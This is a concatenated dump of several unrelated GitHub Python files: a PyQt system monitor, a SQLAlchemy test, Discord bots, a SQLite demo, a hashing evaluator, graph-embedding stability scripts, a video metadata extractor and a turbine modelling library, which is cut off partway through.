threading.Timer(1, self.update_ui_label)\r\n if self.ui_alive:\r\n self.timer.start()\r\n\r\n def set_labels(self):\r\n self.set_net_speed()\r\n self.set_cpu_mem()\r\n\r\n def set_net_speed(self):\r\n # 获取网速,当sent_pre或receive_pre为-1时,初始化窗口\r\n if self.sent_pre == -1 or self.receive_pre == -1:\r\n upload_bytes = 0\r\n download_bytes = 0\r\n self.sent_pre = psutil.net_io_counters().bytes_sent\r\n self.receive_pre = psutil.net_io_counters().bytes_recv\r\n else:\r\n upload_bytes = psutil.net_io_counters().bytes_sent - self.sent_pre\r\n download_bytes = psutil.net_io_counters().bytes_recv - self.receive_pre\r\n self.sent_pre += upload_bytes\r\n self.receive_pre += download_bytes\r\n\r\n self.upspeed.setText('↑' + Stats.standard_net_speed(upload_bytes))\r\n self.downspeed.setText('↓' + Stats.standard_net_speed(download_bytes))\r\n\r\n def set_cpu_mem(self):\r\n # 整个进程尽量在1S内结束\r\n cpu_percent = (psutil.cpu_percent(interval=0.0, percpu=False))\r\n mem_percent = psutil.virtual_memory().percent\r\n\r\n if cpu_percent >= 100:\r\n cpu_percent = 99\r\n if mem_percent >= 100:\r\n mem_percent = 99\r\n\r\n cpu_lines = ''.join([self.one_line + '\\n' for i in range(int(cpu_percent)//10 + 1)])\r\n mem_lines = ''.join([self.one_line + '\\n' for i in range(int(mem_percent) // 10 + 1)])\r\n self.cpu_num.setText(\"%d\" % cpu_percent + '%')\r\n self.mem_num.setText(\"%d\" % mem_percent + '%')\r\n self.cpu_gui.setText(cpu_lines)\r\n self.mem_gui.setText(mem_lines)\r\n\r\n @staticmethod\r\n def standard_net_speed(net_bytes: int):\r\n # xx.xB/S or xxxB/S\r\n if net_bytes < 1000:\r\n if net_bytes < 100:\r\n return \" %sB/S\" % str(net_bytes)\r\n else:\r\n return \"%sB/S\" % str(net_bytes)\r\n\r\n elif net_bytes >> 10 < 1000:\r\n if net_bytes // 1024 < 100:\r\n return \"%.1fKB/S\" % (net_bytes / 1024)\r\n else:\r\n return \"%sKB/S\" % (net_bytes // 1024)\r\n elif net_bytes >> 20 < 1000:\r\n if net_bytes // 1024**2 < 100:\r\n return \"%.1fMB/S\" % (net_bytes / 1024**2)\r\n else:\r\n return \"%sMB/S\" % (net_bytes // 1024**2)\r\n elif net_bytes >> 30 < 1024:\r\n if net_bytes // 1024 ** 3 < 100:\r\n return \"%.1fGB/S\" % (net_bytes / 1024 ** 3)\r\n else:\r\n return \"%sGB/S\" % (net_bytes // 1024 ** 3)\r\n else:\r\n return \"xx.xB/S\"\r\n\r\n\r\nif __name__ == '__main__':\r\n # 设置屏幕自适应\r\n QtCore.QCoreApplication.setAttribute(QtCore.Qt.AA_EnableHighDpiScaling)\r\n\r\n app = QApplication([])\r\n # 获取主显示器分辨率\r\n screen_width = app.primaryScreen().geometry().width()\r\n screen_height = app.primaryScreen().geometry().height()\r\n\r\n stats = Stats()\r\n # 设置最初出现的位置\r\n window_width = stats.geometry().width()\r\n window_height = stats.geometry().height()\r\n stats.setGeometry(screen_width - window_width - 10, screen_height//2 - 150, window_width, window_height)\r\n\r\n stats.show()\r\n sys.exit(app.exec_())\r\n\r\n","repo_name":"mingo-meo/floating-monitor","sub_path":"monitor.py","file_name":"monitor.py","file_ext":"py","file_size_in_byte":4524,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"78"}
+{"seq_id":"35993256462","text":"import sqlalchemy as sa\n\nfrom sqlalchemy import Table, Column, Integer, Unicode, Numeric\nfrom sqlalchemy.testing.fixtures import TablesTest\n\n\nclass TestInspection(TablesTest):\n @classmethod\n def define_tables(cls, metadata):\n Table(\n \"test\",\n metadata,\n Column(\"id\", Integer, primary_key=True, nullable=False),\n Column(\"value\", Unicode),\n Column(\"num\", Numeric(22, 9)),\n )\n\n def test_get_columns(self, connection):\n inspect = sa.inspect(connection)\n\n columns = inspect.get_columns(\"test\")\n for c in columns:\n c[\"type\"] = type(c[\"type\"])\n\n assert columns == [\n {\"name\": \"id\", \"type\": sa.INTEGER, \"nullable\": False, \"default\": None},\n {\"name\": \"value\", \"type\": sa.TEXT, \"nullable\": True, \"default\": None},\n {\"name\": \"num\", \"type\": sa.DECIMAL, \"nullable\": True, \"default\": None},\n ]\n\n def test_has_table(self, connection):\n inspect = sa.inspect(connection)\n\n assert inspect.has_table(\"test\")\n assert not inspect.has_table(\"foo\")\n","repo_name":"ydb-platform/ydb-sqlalchemy","sub_path":"test/test_inspect.py","file_name":"test_inspect.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"}
+{"seq_id":"12160340732","text":"\"\"\"\n TOPIC 计算空气格子和异常区格子编号,从1开始\n\"\"\"\nfrom now_used.utils.base import root_path\n\ndef get_air(save=True):\n # 空气\n air_cell = set()\n\n # with open(r'..\\data\\output\\air_cell','r') as r:\n # while (line:=r.readline())!='':\n # air_cell.add(int(line))\n # my, mx, mz = 17,22,10\n my, mx, mz = 13, 14, 10\n # 为了满足探测器的需求,周围一圈是空气格子,探测器位于空气格子之中\n # 最左层y=0\n for x in range(mx):\n for z in range(mz):\n air_cell.add(x * my * mz + z + 1)\n # 最右层y=my-1\n for x in range(mx):\n for z in range(mz):\n air_cell.add(x * my * mz + (my - 1) * mz + z + 1)\n # 最前层x=0\n for y in range(my):\n for z in range(mz):\n air_cell.add(y * mz + z + 1)\n # 最后层x=mx-1\n for y in range(my):\n for z in range(mz):\n air_cell.add((mx - 1) * my * mz + y * mz + z + 1)\n\n # 存入文件,下次不需要再读 以下代码还未改\n if save:\n with open(root_path + r'\\data\\output\\air_cell', 'w') as w:\n for val in air_cell:\n w.write(f'{val}\\n')\n\n return air_cell\n\n\ndef get_empty_hole(save=True):\n my, mx, mz = 13, 14, 10\n\n ylist = [7, 8, 9]\n xlist = [5, 6, 7, 8]\n zlist = [3, 4]\n\n # 空洞的编号,叫做密度异常体更合适些\n abnormal_cell = []\n\n for y in ylist:\n for x in xlist:\n for z in zlist:\n abnormal_cell.append(x * my * mz + y * mz + z + 1)\n\n if save:\n with open(root_path + r'\\data\\output\\abnormal_cell', 'w') as w:\n for val in abnormal_cell:\n w.write(f'{val}\\n')\n\n return abnormal_cell","repo_name":"1176534577/second_paper","sub_path":"now_used/utils/air_cell_&_abnormal_cell.py","file_name":"air_cell_&_abnormal_cell.py","file_ext":"py","file_size_in_byte":1738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"32825300079","text":"\"\"\"The quote system!\"\"\"\r\nimport time\r\nimport random\r\nimport discord\r\nimport util.quote as quote\r\nimport util.commands as commands\r\nfrom util.perms import check_perms\r\nfrom .cog import Cog\r\n\r\nclass Quotes(Cog):\r\n \"\"\"Quotes from all over the place.\r\n Enjoy them, and give us some more :3\"\"\"\r\n\r\n @commands.command(aliases=['randquote', 'getquote'])\r\n async def quote(self, *args):\r\n \"\"\"Reference a quote.\r\n Usage: quote {quote number}\"\"\"\r\n try:\r\n qindx = args[0]\r\n except IndexError:\r\n qindx = random.randint(1, self.dstore['quotes'].__len__())\r\n try:\r\n qindex = int(qindx)\r\n except ValueError:\r\n await self.bot.reply('that isn\\'t a number!')\r\n return\r\n if qindex < 1:\r\n await self.bot.reply('there aren\\'t negative or zero quotes!')\r\n return\r\n try:\r\n await self.bot.say(quote.qrender(self.dstore['quotes'][qindex - 1], qindex - 1, self.bot))\r\n except IndexError:\r\n await self.bot.reply('that quote doesn\\'t exist!')\r\n\r\n @commands.command(aliases=['quotes', 'listquote', 'quoteslist', 'listquotes', 'dumpquotes', 'quotedump', 'quotesdump'])\r\n async def quotelist(self, *rshow_pages: int):\r\n \"\"\"List all the quotes.\r\n Usage: quotelist\"\"\"\r\n # maybe PM this\r\n show_pages = [i for i in rshow_pages]\r\n pager = commands.Paginator(prefix='', suffix='', max_size=1595)\r\n if not show_pages:\r\n show_pages.append(1)\r\n for n, i in enumerate(self.dstore['quotes']):\r\n qout = quote.qrender(i, n, self.bot)\r\n pager.add_line(qout)\r\n for page_n in show_pages:\r\n try:\r\n await self.bot.say('**__Listing page *{0}* of *{1}* of quotes.__**\\n'.format(page_n, len(pager.pages)) + pager.pages[page_n - 1])\r\n except IndexError:\r\n await self.bot.say('**__Error: page *{0}* doesn\\'t exist! There are *{1}* pages.__**'.format(page_n, len(pager.pages)))\r\n\r\n @commands.command(pass_context=True, aliases=['newquote', 'quotenew', 'addquote', 'makequote', 'quotemake', 'createquote', 'quotecreate', 'aq'])\r\n async def quoteadd(self, ctx, target: discord.Member, *, text: str):\r\n \"\"\"Add a quote.\r\n Usage: quoteadd [member] [text here]\"\"\"\r\n fmt_time = [int(i) for i in time.strftime(\"%m/%d/%Y\").split('/')]\r\n bname = await self.store.get_prop(ctx.message, 'bot_name')\r\n q_template = {\r\n 'id': 0,\r\n 'quote': 'The bot has encountered an internal error.',\r\n 'author': bname,\r\n 'author_ids': [self.bot.user.id],\r\n 'date': fmt_time\r\n }\r\n mauthor = target\r\n q_template['quote'] = text.replace('\\n', ' ')\r\n q_template['author'] = mauthor.display_name\r\n if mauthor.display_name != mauthor.name:\r\n q_template['author'] += ' (' + mauthor.name + ')'\r\n q_template['author_ids'] = [mauthor.id]\r\n q_template['id'] = len(self.dstore['quotes']) # +1 for next id, but len() counts from 1\r\n self.dstore['quotes'].append(q_template)\r\n await self.bot.reply(f'you added quote **#{q_template[\"id\"] + 1}**!')\r\n\r\n @commands.command(pass_context=True, aliases=['quoteedit', 'modquote', 'editquote'])\r\n async def quotemod(self, ctx, qindex: int, *, text: str):\r\n \"\"\"Edit an existing quote.\r\n Usage: quotemod [quote number] [new text here]\"\"\"\r\n if qindex < 0:\r\n await self.bot.reply('there aren\\'t negative quotes!')\r\n return\r\n try:\r\n q_template = self.dstore['quotes'][qindex - 1]\r\n except IndexError:\r\n await self.bot.reply('that quote doesn\\'t already exist!')\r\n return\r\n mauthor = ctx.message.author\r\n q_template['quote'] = text.replace('\\n', ' ')\r\n if mauthor.id not in q_template['author_ids']:\r\n q_template['author'] += ', ' + mauthor.display_name\r\n if mauthor.display_name != mauthor.name:\r\n q_template['author'] += ' (' + mauthor.name + ')'\r\n q_template['author_ids'].extend([mauthor.id])\r\n q_template['date'] = [int(i) for i in time.strftime(\"%m/%d/%Y\").split('/')]\r\n self.dstore['quotes'][qindex - 1] = q_template\r\n await self.bot.reply(f'you edited quote **#{qindex}**!')\r\n\r\n @commands.command(pass_context=True, aliases=['rmquote', 'quoterm', 'delquote'])\r\n async def quotedel(self, ctx, qindex: int):\r\n \"\"\"Delete an existing quote.\r\n Usage: quotedel [quote number]\"\"\"\r\n if qindex < 0:\r\n await self.bot.reply('there aren\\'t negative quotes!')\r\n return\r\n try:\r\n q_target = self.dstore['quotes'][qindex - 1]\r\n except IndexError:\r\n await self.bot.reply(f'quote **#{qindex}** doesn\\'t already exist!')\r\n return\r\n mauthor = ctx.message.author\r\n _pcheck = await check_perms(ctx, ['bot_owner'])\r\n if (mauthor.id == q_target['author_ids'][0]) or (_pcheck):\r\n del self.dstore['quotes'][qindex - 1]\r\n await self.bot.reply(f'you deleted quote **#{qindex}**!')\r\n else:\r\n await self.bot.reply(f'you can\\'t delete quote **#{qindex}** because you didn\\'t write it. Sorry!')\r\n\r\ndef setup(bot):\r\n c = Quotes(bot)\r\n bot.add_cog(c)\r\n","repo_name":"xrxbsx/goldmine","sub_path":"default_cogs/quotes.py","file_name":"quotes.py","file_ext":"py","file_size_in_byte":5399,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"9169084938","text":"#########\n#\n# Daily Python/SQLite grind\n#\n\nimport sqlite3\nfrom datetime import date, timedelta, datetime\nfrom random import randint\n\n# Create DB filename\nfilename = \"UselessDB\" + date.today().strftime(\"%y%m%d\")+\".db\"\n\n# open DB\ntry:\n conn = sqlite3.Connection(filename)\n\nexcept Error as e: \n print(f\"Error connection to database: {e}\")\n\n# create cursor into DB\ncursor = conn.cursor()\n\n# check it table exist\ntables = cursor.execute(\"SELECT name FROM sqlite_schema\").fetchall()\n\nif tables == [] or ('employees' not in tables[0]):\n cursor.execute(\"\"\"\n CREATE TABLE employees (\n id INTEGER PRIMARY KEY AUTOINCREMENT,\n name TEXT,\n position TEXT,\n salary INTEGER,\n startdate DATE,\n enddate DATE\n )\n \"\"\")\n\nfor i in range(0,10):\n name = \"First Last\"\n position = \"Job Title\"\n salary = randint(50000, 100000)\n startdate = date.today() - timedelta(days=randint(1,10000))\n if randint(1,100) > 99:\n enddate = (datetime.today() - timedelta(days=randint(1,10000))).strftime(\"%Y-%m-%d\")\n else: \n enddate = 'NULL'\n cursor.execute(\"INSERT INTO employees (name, position, salary, startdate, enddate) VALUES(?,?,?,?,?)\", (name, position, salary, startdate, enddate))\n conn.commit()\n\nconn.close()","repo_name":"Pointlessboring/pysqlite-pg","sub_path":"230417 - Daily Basics.py","file_name":"230417 - Daily Basics.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"22483067775","text":"from sklearn.preprocessing import Normalizer\nimport numpy as np\nimport matlab\nimport matlab.engine\nimport utils\nimport scipy.io as sio\nimport os\n\n\nclass IMH:\n def __init__(self, hash_len, train_img, train_txt, query_img, query_txt, retrieval_img, retrieval_txt):\n if not os.path.exists('temp_data'):\n os.mkdir('temp_data')\n\n self.training_num = train_img.shape[0]\n self.hash_len = hash_len\n self.img_mean = np.mean(train_img, axis=0, keepdims=True)\n self.txt_mean = np.mean(train_txt, axis=0, keepdims=True)\n\n self.train_img = train_img - self.img_mean\n self.train_txt = train_txt - self.txt_mean\n self.query_img = query_img - self.img_mean\n self.retrieval_img = retrieval_img - self.img_mean\n self.query_txt = query_txt - self.txt_mean\n self.retrieval_txt = retrieval_txt - self.txt_mean\n\n sio.savemat('temp_data/flickr_data.mat', {'train_img': self.train_img,\n 'train_txt': self.train_txt,\n 'query_img': self.query_img,\n 'query_txt': self.query_txt,\n 'retrieval_img': self.retrieval_img,\n 'retrieval_txt': self.retrieval_txt})\n\n @utils.count_time\n def train(self):\n print('training...')\n engine = matlab.engine.start_matlab()\n engine.trainIMH(matlab.double([self.training_num]), matlab.double([self.hash_len]), nargout=0)\n\n @utils.count_time\n def eval(self, simi_matrix):\n print('evaluating...')\n\n # i2t_map = utils.optimized_mAP(simi_matrix, 'i2t')\n # i2t_pre_top_k = utils.precision_top_k(simi_matrix, [50, 100, 150, 200, 250, 300, 350, 400, 450, 500, 550, 600, 650, 700, 750, 800, 850, 900, 950, 1000], 'i2t')\n i2t_pre, i2t_recall = utils.precision_recall(simi_matrix, modal='i2t')\n\n # t2i_map = utils.optimized_mAP(simi_matrix, 't2i')\n # t2i_pre_top_k = utils.precision_top_k(simi_matrix, [50, 100, 150, 200, 250, 300, 350, 400, 450, 500, 550, 600, 650, 700, 750, 800, 850, 900, 950, 1000], 't2i')\n t2i_pre, t2i_recall = utils.precision_recall(simi_matrix, modal='t2i')\n\n with open('results/results.txt', 'a', encoding='utf-8') as f:\n # f.write('i2t map: ' + str(round(i2t_map, 4)) + '\\n')\n # f.write('i2t top [[50, 100, 150, 200, 250, 300, 350, 400, 450, 500, 550, 600, 650, 700, 750, 800, 850, 900, 950, 1000] precision: ' + str(i2t_pre_top_k) + '\\n')\n # f.write('i2t precision: %.5f, i2t recall: %.5f: \\n' % (i2t_pre, i2t_recall))\n # f.write('t2i map: ' + str(round(t2i_map, 4)) + '\\n')\n # f.write('t2i top [50, 100, 150, 200, 250, 300, 350, 400, 450, 500, 550, 600, 650, 700, 750, 800, 850, 900, 950, 1000] precision: ' + str(t2i_pre_top_k) + '\\n')\n # f.write('t2i precision: %.5f, t2i recall: %.5f: \\n\\n' % (t2i_pre, t2i_recall))\n f.write('i2t precision: ' + str(i2t_pre) + '\\n')\n f.write('t2i recall: ' + str(i2t_recall) + '\\n')\n\n f.write('t2i precision: ' + str(t2i_pre) + '\\n')\n f.write('t2i recall: ' + str(t2i_recall) + '\\n\\n')\n","repo_name":"yolo2233/cross-modal-hasing-playground","sub_path":"IMH/imh.py","file_name":"imh.py","file_ext":"py","file_size_in_byte":3286,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"78"}
+{"seq_id":"15291866630","text":"import os\nimport discord\nimport json\n\nfrom discord.ext import commands\nfrom PIL import Image\nfrom io import BytesIO\n\nfrom recognize import Recognize\n\nwith open('config.json', 'r') as f:\n config = json.load(f)\nTOKEN = config['token']\n\nclient = commands.Bot(command_prefix=\"-\")\n\n\n@client.event\nasync def on_ready():\n print(\"🦈 I'm ready!\")\n\n\n@client.command()\nasync def recognize(ctx):\n image_url = ctx.message.attachments[0].url\n image_format_jpg = image_url[-3:]\n image_format_jpeg = image_url[-4:]\n if image_format_jpg.lower() == 'jpg' or image_format_jpeg.lower() == 'jpeg':\n try:\n brain = Recognize()\n results = brain.analyze_image(image_url)[0]\n message = discord.Embed(\n title=\"Let's have a look..\")\n for statistic in results:\n name = statistic[1]\n value = f'{round(statistic[2] * 100, 2)} %'\n message.add_field(name=name, value=value, inline=False)\n message.set_image(url=image_url)\n message.colour = 0x00ff00\n await ctx.message.channel.send(embed=message)\n except:\n error = discord.Embed(\n title=\"Ops.. Something went wrong\", description=\"I'm sorry, something went wrong. Please, try again.\")\n error.colour = 0xff0000\n await ctx.message.channel.send(embed=error)\n raise discord.DiscordException\n else:\n invalid_format = discord.Embed(\n title=\"Invalid format\", description=\"I'm sorry, this format is not supported. Please, try again with a .jpg or .jpeg!\")\n invalid_format.colour = 0xff0000\n await ctx.message.channel.send(embed=invalid_format)\n\nclient.run(TOKEN)\n","repo_name":"0xMukesh/local-hack-day-build-2022","sub_path":"src/Day 5/Image recognizing bot/src/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1735,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"3648217706","text":"import numpy as np\nimport torch\nfrom utils import procruste_similarity\nfrom utils import knn_jaccard_similarity\nfrom utils import second_ord_cos_similarity\nimport os\nimport pandas as pd\nimport csv\n\ndef compute_seed_sensitivity(metric, src_dir=\"\", seed_num=10, dim = 8): # metric is a function handler\n sim_list = []\n for i in range(seed_num):\n embedding_path = os.path.join(src_dir, str(dim), str(i) + \".pt\")\n embedding1 = torch.load(embedding_path)\n for j in range(i + 1, seed_num):\n embedding_path = os.path.join(src_dir, str(dim), str(j) + \".pt\")\n embedding2 = torch.load(embedding_path)\n sim_list.append(metric(embedding1, embedding2))\n sim_array = np.array(sim_list)\n sim_mean = np.mean(sim_array)\n sim_std = np.std(sim_array)\n return sim_mean, sim_std, sim_list\n\n\ndef compute_and_save_geometric_stability(model_name='Node2Vec', file_path='geo_result/Cora_geometric_stability.csv'):\n embed_dim = [8, 16, 32, 64, 128, 256]\n with open(file_path, mode='w', newline='') as file:\n writer = csv.writer(file)\n writer.writerow(['embedding_dim', 'model_name', 'pro_sim', 'knn_sim', 'sec_sim'])\n for dim in embed_dim:\n print(\"-------------dim---------: \", dim)\n pro_sim_mean, pro_sim_std, pro_sim_list = compute_seed_sensitivity(procruste_similarity, src_dir=\"embeddings\", dim=dim, seed_num=10)\n print(pro_sim_list)\n print(pro_sim_mean, pro_sim_std)\n knn_sim_mean, knn_sim_std, knn_sim_list = compute_seed_sensitivity(knn_jaccard_similarity, src_dir=\"embeddings\", dim=dim, seed_num=10)\n print(knn_sim_list)\n print(knn_sim_mean, knn_sim_std)\n sec_sim_mean, sec_sim_std, sec_sim_list = compute_seed_sensitivity(second_ord_cos_similarity, src_dir=\"embeddings\", dim=dim, seed_num=10)\n print(sec_sim_list)\n print(sec_sim_mean, sec_sim_std)\n\n dim_column = [dim] * len(pro_sim_list)\n data_name_column = [model_name] * len(pro_sim_list)\n rows = zip(dim_column, data_name_column, pro_sim_list, knn_sim_list, sec_sim_list)\n\n file_exists = os.path.exists(file_path)\n for row in rows:\n writer.writerow(row)\n\ndef main():\n # save_dir = \"geo_result\"\n # save_pro_dir = os.path.join(save_dir, \"pro\")\n # save_jac_dir = os.path.join(save_dir, \"jac\")\n # save_sec_dir = os.path.join(save_dir, \"sec\")\n # src_dir = \"embeddings\"\n # pro_df = pd.DataFrame(columns = [\"sim_mean\", \"sim_std\"])\n # jac_df = pd.DataFrame(columns = [\"sim_mean\", \"sim_std\"])\n # sec_df = pd.DataFrame(columns = [\"sim_mean\", \"sim_std\"])\n # os.makedirs(save_pro_dir, exist_ok=True)\n # os.makedirs(save_jac_dir, exist_ok=True)\n # os.makedirs(save_sec_dir, exist_ok=True)\n # for dim in [8, 16, 32, 64, 128, 256]:\n # print(f\"dim {dim}\")\n # sim_mean, sim_std, sim_array = test_seed_sensitiveity(procruste_similarity, src_dir, seed_num=10, dim=dim)\n # tmp_df = pd.DataFrame({\"sim_mean\":[sim_mean], \"sim_std\":[sim_std]})\n # pro_df = pd.concat((pro_df, tmp_df))\n # np.save(os.path.join(save_pro_dir, str(dim) + \".npy\"), sim_array)\n # print(f\"Pro_mean {sim_mean}, Pro_std {sim_std}\")\n # sim_mean, sim_std, sim_array = test_seed_sensitiveity(knn_jaccard_similarity, src_dir, seed_num=10, dim=dim)\n # tmp_df = pd.DataFrame({\"sim_mean\":[sim_mean], \"sim_std\":[sim_std]})\n # jac_df = pd.concat((jac_df, tmp_df))\n # np.save(os.path.join(save_jac_dir, str(dim) + \".npy\"), sim_array)\n # print(f\"Jac_mean {sim_mean}, Jac_std {sim_std}\")\n # sim_mean, sim_std, sim_array = test_seed_sensitiveity(second_ord_cos_similarity, src_dir, seed_num=10, dim=dim)\n # tmp_df = pd.DataFrame({\"sim_mean\":[sim_mean], \"sim_std\":[sim_std]})\n # sec_df = pd.concat((sec_df, tmp_df))\n # np.save(os.path.join(save_sec_dir, str(dim) + \".npy\"), sim_array)\n # print(f\"Sec_mean {sim_mean}, Sec_std {sim_std}\")\n # pro_df.index = [8, 16, 32, 64, 128, 256]\n # jac_df.index = [8, 16, 32, 64, 128, 256]\n # sec_df.index = [8, 16, 32, 64, 128, 256]\n # pro_df.to_csv(os.path.join(save_pro_dir, \"pro.csv\"))\n # jac_df.to_csv(os.path.join(save_jac_dir, \"jac.csv\"))\n # sec_df.to_csv(os.path.join(save_sec_dir, \"sec.csv\"))\n compute_and_save_geometric_stability(model_name='Node2Vec', file_path='geo_result/Cora_geometric_stability.csv')\n\n \nif __name__ == '__main__':\n main()","repo_name":"ClouddShen/L45","sub_path":"Node2Vec/Cora/geo_stability_test.py","file_name":"geo_stability_test.py","file_ext":"py","file_size_in_byte":4514,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"38160543794","text":"from src import nlp_lib\nfrom src.entities_lib import EntitiesLib\nfrom src.relations_lib import RelationsLib\nfrom src.wordnet_lib import WordNetDictionary, WordNetLemmatizerWrapped\n\nEXAMPLES = []\n\n# example 1\nsentences = [\n \"A man and a dog walk onto a wide field.\",\n \"The man throws a red frisbee and the dog chases after it.\",\n \"The dog brings the frisbee back to the man.\",\n \"The whole time there are people on the sidelines watching them and taking pictures.\"]\ntimestamps = [[0.26, 12.22], [12.76, 36.27], [30.22, 46.00], [0.45, 46.23]]\nEXAMPLES.append((sentences, timestamps))\n\n# example 2\nsentences = [\"A girl is seen dribbling with a football.\", \"She then kicks it at a goal.\"]\ntimestamps = [[3.20, 10.11], [12.05, 16.40]]\nEXAMPLES.append((sentences, timestamps))\n\n\n\nif __name__ == \"__main__\":\n\n # load WordNet\n wn_dictionary = WordNetDictionary()\n wn_lemmatizer = WordNetLemmatizerWrapped()\n\n for sentences, timestamps in EXAMPLES:\n \"\"\"\n Event Processing.\n \"\"\"\n # sort sentences according to their starting times\n starting_times = [t[0] for t in timestamps]\n starting_times, timestamps, sentences = (list(t) for t in zip(*sorted(zip(starting_times, timestamps, sentences))))\n\n # create linguisic annoations with the language parser\n doc = nlp_lib.parse(sentences)\n\n\n # extract Semantic Metadata\n semantic_metadata = {}\n \"\"\"\n 1) Extract video- and event-level entities and entity-property pairs.\n \"\"\"\n video_level_entities, event_level_entities, entity_property_pairs = \\\n EntitiesLib.extract_entities_and_properties(doc, timestamps, wn_dictionary, wn_lemmatizer)\n\n\n \"\"\"\n 2) Extract video- and event-level relations.\n \"\"\"\n video_level_relations, event_level_relations = \\\n RelationsLib.extract_relations(doc, timestamps, wn_dictionary, wn_lemmatizer)\n \n print(\"--------------------------------------------------------------\")\n print(\"Timestamps \\& Sentences:\")\n for timestamp, sentence in zip(timestamps, sentences):\n print(f\"{timestamp}: {sentence}\")\n \n print(\"\\nVideo-level Entities:\")\n for e in video_level_entities:\n print(e.to_string())\n\n print(\"\\nEntity-Property Pairs:\")\n for ep in entity_property_pairs:\n print(ep.to_string())\n\n print(\"\\nVideo-level Relations:\")\n for r in video_level_relations:\n print(r.to_string())\n\n print(\"\\nEvent-level Entities:\")\n for e in event_level_entities:\n print(e.to_string())\n\n print(\"\\nEvent-level Relations:\")\n for r in event_level_relations:\n print(r.to_string())\n\n print()\n","repo_name":"josch14/semantic-metadata-extraction-from-videos","sub_path":"extract_from_captioned_events.py","file_name":"extract_from_captioned_events.py","file_ext":"py","file_size_in_byte":2768,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"}
+{"seq_id":"18315977949","text":"import re\nimport types\nimport numpy as np\nfrom copy import deepcopy\n\nfrom mpl_plotter import figure\nfrom mpl_plotter.two_d import line, scatter, comparison\nfrom mpl_plotter.color.schemes import colorscheme_one\nfrom mpl_plotter.color.functions import delta\n\nfrom alexandria.shell import print_color, print_result\nfrom alexandria.data_structs.string import join_set_distance\n\nfrom huracan.constants import R\nfrom huracan.utils import markers\n\n\nclass component:\n \"\"\"\n Component\n ---------\n \"\"\"\n def __sub__(self, other):\n \"\"\"\n Stream creation operator: - \n \"\"\"\n if isinstance(other, component):\n s = stream()-other\n return s\n\n def __call__(self, gas):\n \"\"\"\n Component transfer function execution\n \"\"\"\n p = self.tf(gas)\n for k, v in p.__dict__.items():\n if k[-2:] == '01':\n k = k[0] + '0'\n setattr(self, k, v)\n\n # Gas state variables\n for sv in ['V', 'S', 'H']:\n setattr(self, sv, getattr(gas, sv))\n\n\nclass constructor_SET(type):\n \"\"\"\n Set metaclass\n -------------\n\n Ensure all necessary methods are implemented in child classes.\n \"\"\"\n def __new__(mcs, name, bases, body):\n\n for i in ['add_component', 'add_set']:\n if name != mcs.__name__.split('_')[1] and i not in body:\n raise TypeError(f'SET class build error: {i} method must be implemented in SET child classes.')\n\n return super().__new__(mcs, name, bases, body)\n\n\nclass constructor_SUPERSET(type):\n \"\"\"\n Superset metaclass\n ------------------\n\n Ensure all necessary methods are implemented in child classes.\n \"\"\"\n def __new__(mcs, name, bases, body):\n\n for i in ['gobble']:\n if name != mcs.__name__.split('_')[1] and i not in body:\n if i not in body:\n raise TypeError(f'SUPERSET class build error: {i} method must be implemented in SUPERSET child classes.')\n\n return super().__new__(mcs, name, bases, body)\n\n\nclass SET(metaclass=constructor_SET):\n \"\"\"\n Component set class\n \"\"\"\n def __sub__(self, other):\n \"\"\"\n Set concatenation operator: - \n \"\"\"\n if isinstance(other, component):\n self.add_component(other)\n return self\n if isinstance(other, SET):\n return self.add_set(other)\n\n \"\"\"\n Superset takeover\n \"\"\"\n def superset_takeover(self):\n \"\"\"\n Superset takeover\n ---------------\n\n When a set (a stream) is integrated in a superset\n (a system), all set methods with a homonimous\n superset method are renamed as protected\n instance attributes, and their original names are\n taken by pointers to the homonimous superset methods.\n \"\"\"\n\n special = r'^__(.*?)\\__$'\n\n def takeover(obj, method):\n if hasattr(obj.superset, method):\n return getattr(obj.superset, method)\n else:\n return getattr(obj, '_' + method)\n\n for k in dir(self):\n v = getattr(self, k)\n # If the attribute k is:\n # - a method\n # - which is not special\n # - whose name is the name of another method in the stream's system\n if isinstance(v, types.MethodType) and not re.match(special, k) and k in dir(self.superset):\n if not hasattr(self, '_' + k):\n # Create private method\n setattr(self, '_' + k, v)\n # Replace public method by takeover\n setattr(self, k, takeover(self, k))\n\n\nclass SUPERSET(metaclass=constructor_SUPERSET):\n \"\"\"\n Component superset class\n \"\"\"\n def __call__(self, *args):\n \"\"\"\n Superset set addition operator: ()\n\n The gobble function must be implemented by the superset\n child class (system).\n\n :type args: set\n \"\"\"\n self.gobble(list(args))\n\n\nclass shaft:\n \"\"\"\n Shaft\n -----\n \"\"\"\n def __init__(self, *args, eta, eta_gearbox=1):\n \"\"\"\n :param args: list of components connected by the shaft.\n :param eta: mechanical efficiency of the shaft.\n\n :type args: component\n :type eta: float\n \"\"\"\n self.eta = eta\n self.eta_gearbox = eta_gearbox\n self.components = list(args)\n\n for c in args:\n c.shaft = self\n\n def w_exerting_machinery(self):\n \"\"\"\n Return a list of all components in the shaft\n which exert work on the flow. That is, instances\n of the fan and compressor classes.\n \"\"\"\n return [c for c in self.components if c.__class__.__name__ in ['fan',\n 'prop',\n 'propfan',\n 'compressor']]\n\n def electrical_plants(self):\n return [c for c in self.components if c.__class__.__name__ in ['power_plant']]\n\n def w_r(self):\n \"\"\"\n Obtain the work required by the components which\n exert work on the gas (fan, compressors).\n \"\"\"\n wem = self.w_exerting_machinery()\n\n assert all([hasattr(c, 'w') for c in wem]), \\\n \"The shaft's work exerting components do not have \" \\\n \"a work attribute: ensure the streams to which each \" \\\n \"belongs have been run up to the respective work \" \\\n \"exerting component.\"\n\n work = np.array([c.w/self.eta_gearbox if c.__class__.__name__ in ['fan', 'prop', 